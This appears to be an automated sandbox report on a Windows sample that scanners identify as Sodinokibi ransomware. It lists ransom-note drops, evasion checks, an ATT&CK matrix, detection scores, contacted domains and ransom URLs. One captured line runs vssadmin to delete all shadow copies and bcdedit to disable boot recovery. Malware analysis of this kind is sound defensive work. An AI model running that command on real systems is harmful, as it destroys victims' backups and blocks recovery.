            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\sqsjkebwdt\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\suavtzknfl\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\documents\wshejmdvqc\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\favorites\links\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile created: c:\users\user\pictures\camera roll\37g7mqh9-readme.txtJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRootJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion:

            barindex
            Contains functionality to detect sleep reduction / modificationsShow sources
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B64B550_2_00B64B55
            Found evasive API chain (may stop execution after checking mutex)Show sources
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeEvasive API call chain: CreateMutex,DecisionNodes,ExitProcessgraph_0-3543
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B64AAB rdtsc 0_2_00B64AAB
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeWindow / User API: threadDelayed 10000Jump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeEvasive API call chain: GetModuleFileName,DecisionNodes,ExitProcessgraph_0-3782
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-3767
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exe TID: 4064Thread sleep count: 10000 > 30Jump to behavior
            Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeFile Volume queried: C:\ FullSizeInformationJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B66299 FindFirstFileW,FindNextFileW,FindClose,0_2_00B66299
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B64634 GetSystemInfo,0_2_00B64634
            Source: vssadmin.exe, 00000013.00000002.427248710.00000000045A0000.00000002.00000001.sdmpBinary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
            Source: NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpBinary or memory string: Hyper-V RAW
            Source: vssadmin.exe, 00000013.00000002.427248710.00000000045A0000.00000002.00000001.sdmpBinary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
            Source: vssadmin.exe, 00000013.00000002.427248710.00000000045A0000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
            Source: NtJd0gjCZE.exe, 00000000.00000002.473789236.0000000001468000.00000004.00000020.sdmpBinary or memory string: Hyper-V RAWptI
            Source: vssadmin.exe, 00000013.00000002.427248710.00000000045A0000.00000002.00000001.sdmpBinary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeAPI call chain: ExitProcess graph end nodegraph_0-3593
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeAPI call chain: ExitProcess graph end nodegraph_0-3584
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B64AAB rdtsc 0_2_00B64AAB
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B642E5 mov eax, dword ptr fs:[00000030h]0_2_00B642E5
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B6464B mov ecx, dword ptr fs:[00000030h]0_2_00B6464B
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B63C1E HeapCreate,GetProcessHeap,0_2_00B63C1E
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeProcess created: C:\Windows\SysWOW64\cmd.exe 'C:\Windows\System32\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailuresJump to behavior
            Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\vssadmin.exe vssadmin.exe Delete Shadows /All /Quiet Jump to behavior
            Source: NtJd0gjCZE.exe, 00000000.00000002.474133216.0000000001A80000.00000002.00000001.sdmpBinary or memory string: Program Manager
            Source: NtJd0gjCZE.exe, 00000000.00000002.474133216.0000000001A80000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
            Source: NtJd0gjCZE.exe, 00000000.00000002.474133216.0000000001A80000.00000002.00000001.sdmpBinary or memory string: Progman
            Source: NtJd0gjCZE.exe, 00000000.00000002.474133216.0000000001A80000.00000002.00000001.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B63DEE cpuid 0_2_00B63DEE
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Users\user\Desktop\NtJd0gjCZE.exeCode function: 0_2_00B6438B GetUserNameW,0_2_00B6438B

            Mitre Att&ck Matrix

            Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
            Replication Through Removable Media1Native API12Path InterceptionProcess Injection12Masquerading3OS Credential DumpingQuery Registry1Replication Through Removable Media1Archive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel22Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationData Encrypted for Impact1
            Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsVirtualization/Sandbox Evasion1LSASS MemorySecurity Software Discovery121Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothNon-Application Layer Protocol1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationInhibit System Recovery1
            Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection12Security Account ManagerVirtualization/Sandbox Evasion1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationApplication Layer Protocol2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDefacement1
            Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)File Deletion1NTDSProcess Discovery3Distributed Component Object ModelInput CaptureScheduled TransferProxy1SIM Card SwapCarrier Billing Fraud
            Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware PackingLSA SecretsApplication Window Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
            Replication Through Removable MediaLaunchdRc.commonRc.commonSteganographyCached Domain CredentialsPeripheral Device Discovery11VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
            External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncAccount Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
            Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemSystem Owner/User Discovery1Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue
            Exploit Public-Facing ApplicationPowerShellAt (Linux)At (Linux)Masquerading/etc/passwd and /etc/shadowRemote System Discovery1Software Deployment ToolsData StagedExfiltration Over Asymmetric Encrypted Non-C2 ProtocolWeb ProtocolsRogue Cellular Base StationData Destruction
            Supply Chain CompromiseAppleScriptAt (Windows)At (Windows)Invalid Code SignatureNetwork SniffingFile and Directory Discovery2Taint Shared ContentLocal Data StagingExfiltration Over Unencrypted/Obfuscated Non-C2 ProtocolFile Transfer ProtocolsData Encrypted for Impact
            Compromise Software Dependencies and Development ToolsWindows Command ShellCronCronRight-to-Left OverrideInput CaptureSystem Information Discovery24Replication Through Removable MediaRemote Data StagingExfiltration Over Physical MediumMail ProtocolsService Stop

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.

            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            NtJd0gjCZE.exe90%VirustotalBrowse
            NtJd0gjCZE.exe76%MetadefenderBrowse
            NtJd0gjCZE.exe96%ReversingLabsWin32.Ransomware.Sodinokibi
            NtJd0gjCZE.exe100%AviraTR/Crypt.XPACK.Gen
            NtJd0gjCZE.exe100%Joe Sandbox ML

            Dropped Files

            No Antivirus matches

            Unpacked PE Files

            SourceDetectionScannerLabelLinkDownload
            0.1.NtJd0gjCZE.exe.b60000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
            0.0.NtJd0gjCZE.exe.b60000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
            0.2.NtJd0gjCZE.exe.b60000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File

            Domains

            SourceDetectionScannerLabelLink
            jobkiwi.com.ng1%VirustotalBrowse
            hiddensee-buhne11.de3%VirustotalBrowse
            transifer.fr1%VirustotalBrowse

            URLs

            SourceDetectionScannerLabelLink
            https://iactechnologies.net/wp-content/plugins/ab-simple-subscribe/css/ab-simple-subscribe.css?ver=10%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/themes/phlox/css/other/elementor.css?ver=2.8.20%Avira URL Cloudsafe
            https://www.jobkiwi.com.ng/static/images/tkko.gif0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-includes/wlwmanifest.xml0%Avira URL Cloudsafe
            http://r3.i.lencr.org/0K0%Avira URL Cloudsafe
            https://forumsittard.nl/wp-content/cache/autoptimize/css/autoptimize_bc24526d9e32ffc66a4e41ba110158a0%Avira URL Cloudsafe
            https://iactechnologies.net/wp-content/themes/sydney/css/bootstrap/bootstrap.min.css?ver=10%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/themes/phlox/css/main.css?ver=2.8.20%Avira URL Cloudsafe
            https://advanced-removals.co.uk/static/image/nlprmpyt.pngl0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-json/0%Avira URL Cloudsafe
            http://r3.i.lencr.org/0;0%Avira URL Cloudsafe
            https://www.putzen-reinigen.com/0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/uploads/phlox/custom.css?ver=4.90%Avira URL Cloudsafe
            https://www.putzen-reinigen.com/wp-content/themes/focusblog/js/html5/dist/html5shiv.js0%Avira URL Cloudsafe
            https://forumsittard.nl/wp-content/themes/forumsittard/img/favicon.ico0%Avira URL Cloudsafe
            http://r3.i.lencr.org/00%URL Reputationsafe
            https://bluelakevision.com/wp-content/themes/phlox/css/base.css?ver=2.8.20%Avira URL Cloudsafe
            https://bluelakevision.com/comments/feed/0%Avira URL Cloudsafe
            https://transifer.fr/feed/0%Avira URL Cloudsafe
            http://r3.i.lencr.org/070%Avira URL Cloudsafe
            https://bluelakevision.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.20%Avira URL Cloudsafe
            https://putzen-reinigen.com/%0%Avira URL Cloudsafe
            http://x1.c.lencr.org/00%URL Reputationsafe
            http://x1.i.lencr.org/00%URL Reputationsafe
            https://bluelakevision.com/animation/0%Avira URL Cloudsafe
            http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/62E950957E5DD9FD0%Avira URL Cloudsafe
            https://axisoflove.org/content/pictures/tfgibrao.gifH0%Avira URL Cloudsafe
            https://bluelakevision.com/feed/0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4.20%Avira URL Cloudsafe
            https://www.putzen-reinigen.com/wp-content/themes/focusblog/css/ie7.css0%Avira URL Cloudsafe
            http://r3.o.lencr.org00%URL Reputationsafe
            https://bluelakevision.com/wp-0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.3.10%Avira URL Cloudsafe
            https://www.putzen-reinigen.com/wp-content/themes/focusblog/css/ie8.css0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/uploads/elementor/css/post-843.css?ver=16274757370%Avira URL Cloudsafe
            https://bluelakevision.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.00%Avira URL Cloudsafe
            https://citiscapes-art.com/0%Avira URL Cloudsafe
            https://www.jobkiwi.com.ng/static/images/tkko.gifLocationETagAuthentication-InfoAgeAccept-RangesLast0%Avira URL Cloudsafe
            http://cps.root-x1.letsencrypt.org00%URL Reputationsafe
            http://decryptor.top/0%Avira URL Cloudsafe
            http://decryptor.top/62E950957E5DD9FD0%Avira URL Cloudsafe
            http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#0%URL Reputationsafe
            https://iactechnologies.net/feed/0%Avira URL Cloudsafe
            http://x1.i.lencr.org/0%URL Reputationsafe
            https://sectigo.com/CPS00%URL Reputationsafe
            https://iactechnologies.net/wp-content/plugins/ab-tweet-scroller/css/ab-tweet-scroller.css?ver=1.0.00%Avira URL Cloudsafe
            http://cps.letsencrypt.org00%URL Reputationsafe
            https://gosouldeep.com/content/images/dojkxi.gifM0%Avira URL Cloudsafe
            https://transifer.fr/comments/feed/0%Avira URL Cloudsafe
            https://advanced-removals.co.uk/static/image/nlprmpyt.png0%Avira URL Cloudsafe
            https://putzen-reinigen.com/news/images/rslbcxer.png0%Avira URL Cloudsafe
            http://ocsp.sectigo.com050%Avira URL Cloudsafe
            https://transifer.fr/wp-content/themes/generatepress/css/unsemantic-grid.min.css?ver=2.0.20%Avira URL Cloudsafe
            https://iactechnologies.net/wp-content/plugins/ab-testimonials/css/testimonials_shortcode.css?ver=1.0%Avira URL Cloudsafe
            https://axisoflove.org/content/pictures/tfgibrao.gif0%Avira URL Cloudsafe
            https://bluelakevision.com/artist-impressions/0%Avira URL Cloudsafe
            https://putzen-reinigen.com/news/images/rslbcxer.png0uk0%Avira URL Cloudsafe
            https://www.putzen-reinigen.com/#website0%Avira URL Cloudsafe
            https://bluelakevision.com/contact/0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/uploads/Logotbvhandtekening-1-226x226.png0%Avira URL Cloudsafe
            https://www.jobkiwi.com.ng/static/images/tkko.gifg/static/images/tkko.gif0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/themes/phlox/css/auxin-icon.css?ver=2.8.20%Avira URL Cloudsafe
            https://transifer.fr/wp-content/plugins/gp-premium/page-header/functions/css/page-header.min.css?ver0%Avira URL Cloudsafe
            https://transifer.fr/wp-content/themes/generatepress/style.min.css?ver=2.0.20%Avira URL Cloudsafe
            http://r3.i.lencr.org/0p0%Avira URL Cloudsafe
            https://citiscapes-art.com/wp-content/game/emkfin.gif0%Avira URL Cloudsafe
            https://putzen-reinigen.com/0%Avira URL Cloudsafe
            http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/0%URL Reputationsafe
            https://advanced-removals.co.uk/0%Avira URL Cloudsafe
            https://forumsittard.nl/xmlrpc.php0%Avira URL Cloudsafe
            https://bluelakevision.com/vr-ar-mr/0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/uploads/Logotbvhandtekening-1-150x150.png0%Avira URL Cloudsafe
            https://forumsittard.nl/wp-content/cache/autoptimize/css/autoptimize_67aee4dcb19602fc2bf36812ae67f8b0%Avira URL Cloudsafe
            https://gosouldeep.com/content/images/dojkxi.gif:420%Avira URL Cloudsafe
            https://bluelakevision.com/xmlrpc.php?rsd0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-includes/css/dist/block-library/style.min.css?ver=5.80%Avira URL Cloudsafe
            https://forumsittard.nl/content/pictures/mfftvbtd.gif;i0%Avira URL Cloudsafe
            https://jobkiwi.com.ng/static/images/tkko.gif0%Avira URL Cloudsafe
            https://www.putzen-reinigen.com/?s=0%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/plugins/elementor/assets/css/frontend-legacy.min.css?ver=3.3.10%Avira URL Cloudsafe
            https://bluelakevision.com/wp-content/themes/phlox/js/solo/modernizr-custom.min.js?ver=2.8.20%Avira URL Cloudsafe
            https://gosouldeep.com/content/images/dojkxi.gif0%Avira URL Cloudsafe
            https://bluelakevision.com/0%Avira URL Cloudsafe
            https://bluelakevision.com/?page_id=840%Avira URL Cloudsafe
            https://iactechnologies.net/comments/feed/0%Avira URL Cloudsafe
            https://bluelakevision.com/product-visualisation/0%Avira URL Cloudsafe
            https://bluelakevision.com/services/0%Avira URL Cloudsafe
            https://gosouldeep.com/:TC0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            jobkiwi.com.ng
            139.162.168.84
            truetrueunknown
            hiddensee-buhne11.de
            217.160.0.84
            truetrueunknown
            transifer.fr
            87.98.154.146
            truetrueunknown
            iactechnologies.net
            159.203.88.13
            truetrue
              unknown
              citiscapes-art.com
              52.42.236.180
              truetrue
                unknown
                forumsittard.nl
                149.210.207.139
                truetrue
                  unknown
                  renderbox.ch
                  149.126.4.26
                  truetrue
                    unknown
                    hvitfeldt.dk
                    195.242.130.99
                    truetrue
                      unknown
                      www.jobkiwi.com.ng
                      139.162.168.84
                      truefalse
                        unknown
                        bluelakevision.com
                        185.37.70.54
                        truetrue
                          unknown
                          putzen-reinigen.com
                          81.19.159.86
                          truetrue
                            unknown
                            advanced-removals.co.uk
                            185.151.30.134
                            truetrue
                              unknown
                              advancedeyecare.com
                              66.228.32.51
                              truetrue
                                unknown
                                aslog.fr
                                213.186.33.151
                                truetrue
                                  unknown
                                  www.francesupplychain.org
                                  51.178.54.109
                                  truefalse
                                    unknown
                                    axisoflove.org
                                    54.38.96.8
                                    truetrue
                                      unknown
                                      x1.i.lencr.org
                                      unknown
                                      unknownfalse
                                        unknown
                                        gosouldeep.com
                                        unknown
                                        unknowntrue
                                          unknown
                                          unboxtherapy.site
                                          unknown
                                          unknowntrue
                                            unknown

                                            URLs from Memory and Binaries

                                            NameSourceMaliciousAntivirus DetectionReputation
                                            https://iactechnologies.net/wp-content/plugins/ab-simple-subscribe/css/ab-simple-subscribe.css?ver=1NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            https://bluelakevision.com/wp-content/themes/phlox/css/other/elementor.css?ver=2.8.2NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            https://www.jobkiwi.com.ng/static/images/tkko.gifNtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            https://bluelakevision.com/wp-includes/wlwmanifest.xmlNtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            http://r3.i.lencr.org/0KNtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            https://forumsittard.nl/wp-content/cache/autoptimize/css/autoptimize_bc24526d9e32ffc66a4e41ba110158aNtJd0gjCZE.exe, 00000000.00000003.438886784.00000000014B7000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            https://iactechnologies.net/wp-content/themes/sydney/css/bootstrap/bootstrap.min.css?ver=1NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpfalse
                                            • Avira URL Cloud: safe
                                            unknown
                                            https://rec.smartlook.com/recorder.jsNtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpfalse
                                              high
                                              https://yoast.com/wordpress/plugins/seo/NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpfalse
                                                high
                                                https://torproject.org/NtJd0gjCZE.exe, 00000000.00000003.207907242.0000000003040000.00000004.00000040.sdmp, 37g7mqh9-readme.txt39.0.drfalse
                                                  high
                                                  https://bluelakevision.com/wp-content/themes/phlox/css/main.css?ver=2.8.2NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://advanced-removals.co.uk/static/image/nlprmpyt.pnglNtJd0gjCZE.exe, 00000000.00000002.473721389.0000000001432000.00000004.00000020.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://bluelakevision.com/wp-json/NtJd0gjCZE.exe, 00000000.00000003.438911540.00000000014C7000.00000004.00000001.sdmp, NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://r3.i.lencr.org/0;NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://www.putzen-reinigen.com/NtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://bluelakevision.com/wp-content/uploads/phlox/custom.css?ver=4.9NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://www.putzen-reinigen.com/wp-content/themes/focusblog/js/html5/dist/html5shiv.jsNtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://forumsittard.nl/wp-content/themes/forumsittard/img/favicon.icoNtJd0gjCZE.exe, 00000000.00000003.438886784.00000000014B7000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://r3.i.lencr.org/0NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://bluelakevision.com/wp-content/themes/phlox/css/base.css?ver=2.8.2NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://bluelakevision.com/comments/feed/NtJd0gjCZE.exe, 00000000.00000003.438911540.00000000014C7000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://transifer.fr/feed/NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://r3.i.lencr.org/07NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://bluelakevision.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://putzen-reinigen.com/%NtJd0gjCZE.exe, 00000000.00000003.450558761.00000000014D8000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://x1.c.lencr.org/0NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • URL Reputation: safe
                                                  unknown
                                                  http://x1.i.lencr.org/0NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://bluelakevision.com/animation/NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/62E950957E5DD9FDNtJd0gjCZE.exe, 00000000.00000003.386509822.0000000003029000.00000004.00000040.sdmp, 37g7mqh9-readme.txt39.0.drtrue
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://axisoflove.org/content/pictures/tfgibrao.gifHNtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://bluelakevision.com/feed/NtJd0gjCZE.exe, 00000000.00000003.438911540.00000000014C7000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://bluelakevision.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.4.2NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://www.putzen-reinigen.com/wp-content/themes/focusblog/css/ie7.cssNtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://r3.o.lencr.org0NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://bluelakevision.com/wp-NtJd0gjCZE.exe, 00000000.00000003.438837973.0000000001488000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://bluelakevision.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.3.1NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://www.putzen-reinigen.com/wp-content/themes/focusblog/css/ie8.cssNtJd0gjCZE.exe, 00000000.00000003.450632497.0000000001481000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://bluelakevision.com/wp-content/uploads/elementor/css/post-843.css?ver=1627475737NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://bluelakevision.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.0NtJd0gjCZE.exe, 00000000.00000003.435683465.00000000014C0000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://citiscapes-art.com/NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  https://www.jobkiwi.com.ng/static/images/tkko.gifLocationETagAuthentication-InfoAgeAccept-RangesLastNtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://cps.root-x1.letsencrypt.org0NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • URL Reputation: safe
                                                  unknown
                                                  http://decryptor.top/NtJd0gjCZE.exe, 00000000.00000003.207907242.0000000003040000.00000004.00000040.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://decryptor.top/62E950957E5DD9FDNtJd0gjCZE.exe, 00000000.00000003.386509822.0000000003029000.00000004.00000040.sdmp, 37g7mqh9-readme.txt39.0.drfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#NtJd0gjCZE.exe, 00000000.00000003.438812188.0000000001473000.00000004.00000001.sdmpfalse
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://iactechnologies.net/feed/NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://x1.i.lencr.org/NtJd0gjCZE.exe, 00000000.00000002.473721389.0000000001432000.00000004.00000020.sdmp, 2D85F72862B55C4EADD9E66E06947F3D.0.drfalse
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://sectigo.com/CPS0NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • URL Reputation: safe
                                                  unknown
                                                  https://iactechnologies.net/wp-content/plugins/ab-tweet-scroller/css/ab-tweet-scroller.css?ver=1.0.0NtJd0gjCZE.exe, 00000000.00000002.485975281.0000000005C00000.00000004.00000001.sdmpfalse
                                                  • Avira URL Cloud: safe
                                                  unknown
                                                  http://cps.letsencrypt.org0NtJd0gjCZE.exe, 00000000.00000002.473869199.0000000001488000.00000004.00000020.sdmpfalse
                                                  • URL Reputation: safe
                                                  unknown
